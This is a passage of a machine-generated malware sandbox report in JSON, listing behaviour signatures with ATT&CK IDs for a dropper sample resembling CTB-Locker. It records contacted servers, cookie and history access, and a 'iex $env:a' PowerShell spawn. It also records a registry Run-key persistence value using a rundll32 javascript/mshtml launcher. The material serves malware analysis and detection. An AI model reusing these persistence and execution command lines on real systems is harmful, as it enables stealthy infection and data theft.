(Indicator: \"GetVersion\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-171","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1614","id":"string-201","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetWindowTextW\" (Indicator: \"GetWindowText\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1010","id":"string-141","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-162","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.006","id":"string-249","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1222","id":"string-426","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1622","id":"string-183","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"0.0.0.2\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"178.89.159.34:80\"\n \"178.89.159.35:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!pspubws!appdata!local!microsoft!windows!temporary internet files!content.ie5!\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!pspubws!appdata!roaming!microsoft!windows!cookies!\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!pspubws!appdata!local!microsoft!windows!history!history.ie5!\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"powershell.exe\" with commandline \"iex $env:a\" (UID: 00012469-00001980)\n Spawned process \"dllhost.exe\" with commandline \"%WINDIR%\\system32\\dllhost.exe\" (UID: 00012665-00002096)\n Spawned process \"0\" (UID: 00014047-00000736)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"A70OS4LKL2GT21002XS0.temp.2405110844\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://%s/q\"\n Pattern match: \"http://download.microsoft.com/download/3/C/8/3C8CF51E-1D9D-4DAA-AAEA-5C48D1CD055C/Windows6.0-KB968930-x64.msu\"\n Pattern match: \"http://download.microsoft.com/download/A/7/5/A75BC017-63CE-47D6-8FA4-AFB5C21BAC54/Windows6.0-KB968930-x86.msu\"\n Pattern match: \"http://download.microsoft.com/download/B/D/9/BD9BB1FF-6609-4B10-9334-6D0C58066AA7/WindowsServer2003-KB968930-x64-ENG.exe\"\n Pattern match: \"http://download.microsoft.com/download/9/8/6/98610406-c2b7-45a4-bdc3-9db1b1c5f7e2/NetFx20SP1_x64.exe\"\n Pattern match: \"http://download.microsoft.com/download/E/C/E/ECE99583-2003-455D-B681-68DB610B44A4/WindowsXP-KB968930-x86-ENG.exe\"\n Pattern match: \"http://download.microsoft.com/download/0/8/c/08c19fa4-4c4f-4ffb-9d6c-150906578c9e/NetFx20SP1_x86.exe\"\n Pattern match: \"http://faebd7.com/log?log=+l,false\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"$23","origin":"Registry Access","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExA@KERNEL32.DLL at 00010409-00003712-41081-89-00401BF5\n GetVersionExA@KERNEL32.DLL at 00010409-00003712-41081-6-004013A1\n GetVersion@KERNEL32.DLL at 00010409-00003712-45451-1-0040582B\n GetVersionExA@KERNEL32.DLL at 00014047-00000736-49740-87-00401BF5\n GetVersionExA@KERNEL32.DLL at 00014047-00000736-49740-6-004013A1\n GetVersion@KERNEL32.DLL at 00014047-00000736-53394-1-0040582B","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"SizeofResource@KERNEL32.DLL at 00010409-00003712-45451-1-0040582B\n SizeofResource@KERNEL32.DLL at 00014047-00000736-53394-1-0040582B","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Creates/touches files in windows directory","description":"\"\" created file \"C:\\Windows\\Globalization\\Sorting\\sortdefault.nls\"\n \"\" created file \"%APPDATA%\\Microsoft\\Windows\\Cookies\"\n \"\" created file \"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat\"\n \"\" created file \"%APPDATA%\\Microsoft\\Windows\\Cookies\"\n \"0\" created file \"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat\"\n \"0\" created file \"C:\\Users\\PSPUBWS\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat\"","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"\" (Access type: \"CREATE\", Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\")\n \"\" (Access type: \"SETVAL\", Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\", Key: \"\", Value: \"rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write(\"\\74script language=jscript.encode>\"+(new%20ActiveXObject(\")\n \"\" (Access type: \"SETVAL\", Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"suspicious","category":"Pattern Matching","name":"Code classification distribution is known to appear in malware","description":"TrID distribution is very similar to the \"CTB-Locker\" family (e.g. SHA256: cbba56bd16222191f1468a1d93b63945394371cfb9ffe38f34a9575c5655e57a)","origin":"TrID Evaluation","relevance":5,"id":"trid-0","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\", Key: \"WARNONHTTPSTOHTTPREDIRECT\")\n \"0\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\", Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"C:\\poewliks.exe:0\" marked \"Z:\\poewliks.exe\" for deletion","origin":"API Call","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"0\" opened \"C:\\poewliks.exe\" with delete access","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"level":"suspicious","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"FindFirstFileA\n GetFileAttributesExW\n ExitThread\n GetThreadContext\n OpenProcess\n GetTickCount\n CreateDirectoryW\n LoadLibraryExW","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\"\" wrote bytes \"92e6037779a80877be720877d62d08771de2037705a20877bee30377616f0877684106770050067700000000ad3758758b2d5875b641587500000000\" to virtual address \"0x74691000\" (part of module \"WSHTCPIP.DLL\")\n \"\" wrote bytes \"4053067758580777186a0777653c08770000000000bfc6760000000056ccc676000000007ccac67600000000376820756a2c0877d62d087700000000206920750000000029a6c67600000000a48d207500000000f70ec67600000000\" to virtual address \"0x77171000\" (part of module \"NSI.DLL\")\n \"0\" wrote bytes \"92e6037779a80877be720877d62d08771de2037705a20877bee30377616f0877684106770050067700000000ad3758758b2d5875b641587500000000\" to virtual address \"0x74691000\" (part of module \"WSHTCPIP.DLL\")\n \"0\" wrote bytes \"4053067758580777186a0777653c08770000000000bfc6760000000056ccc676000000007ccac67600000000376820756a2c0877d62d087700000000206920750000000029a6c67600000000a48d207500000000f70ec67600000000\" to virtual address \"0x77171000\" (part of module \"NSI.DLL\")","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\", Key: \"EN-US\")\n \"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\", Key: \"EN-US\")\n \"0\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\", Key: \"EN-US\")\n \"0\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\", Key: \"EN-US\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"poewliks.exe.bin\" claims program is from Sun Jan 28 00:25:53 1979","origin":"Static Parser","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"50/57 Antivirus vendors marked sample as malicious (87% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"50/57 Antivirus vendors marked sample as malicious (87% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Accesses potentially sensitive information from local browsers","description":"\"\" had access to \"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat\" (Type: \"FileHandle\")\n \"\" had access to \"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat\" (Type: \"FileHandle\")\n \"0\" had access to \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat\" (Type: \"FileHandle\")","origin":"Touched Handle","relevance":5,"id":"handle-0","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtSetValueKey@NTDLL.DLL at 00010409-00003712-41081-89-00401BF5\n NtSetValueKey@NTDLL.DLL at 00014047-00000736-49740-87-00401BF5","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00005948.00000000.120684.03070000.00000004.mdmp, 00000000-00005948.00000001.122606.03070000.00000004.mdmp, 00000000-00005948.00000002.124526.03070000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00005948.00000000.120684.04D90000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"Assembly shows XOR instruction xor edx\n eax in Stream UID: 8270-1-0040582B","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$24","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00005948.00000000.120684.03070000.00000004.mdmp, 00000000-00005948.00000001.122606.03070000.00000004.mdmp, 00000000-00005948.00000002.124526.03070000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"dropper.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"dropper.exe\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005948.00000000.120684.00406000.00000040.mdmp, 00000000-00005948.00000000.120684.04D90000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"\"dropper.exe\" contains export function called \"?ErrorCommon@@YGEPAG@Z\" at ordinal 1\n \"dropper.exe\" contains export function called \"Feus_Yeah_Mace_Gilt_Paid_Iota_Roesow\" at ordinal 2","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"dropper.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76D60000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"dropper.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76560000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"dropper.exe\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"dropper.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"dropper.exe\" has an executable section named \".text\"\n \"dropper.exe\" has an executable section named \".crt\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"dropper.exe\" has an writable section named \".itext\"\n \"dropper.exe\" has an writable section named \".crt\"\n \"dropper.exe\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"dropper.exe\" file has an entrypoint instructions - \"push\tebp,mov\tebp, esp,push\tecx,push\tecx,push\t0x38,call\tdword ptr [0x4060d0],mov\tdword ptr [ebp - 8], 0x854283,push\t0x4c,push\t0x40ddbc,call\tdword ptr [0x4060d4],dec\tdword ptr [ebp - 8],push\t0x20,call\tdword ptr [0x4060f8],mov\teax, dword ptr [ebp - 8],test\teax, eax,jne\t0x40583f,push\tesi,push\t0x40ddc8,push\t0x40ddd4,call\tdword ptr [0x406064],xor\tesi, esi,test\teax, eax,je\t0x405889,call\tdword ptr [0x406070],push\tesi,push\t1,push\t0x100,call\tdword ptr [0x4060a4],call\tdword ptr [0x4060ac],\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"dropper.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$25","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$26","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$27","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Medium entropy File","description":"YARA signature to detect medium entropy file file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":5,"id":"yara-606","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: dropper.exe]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"dropper.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry 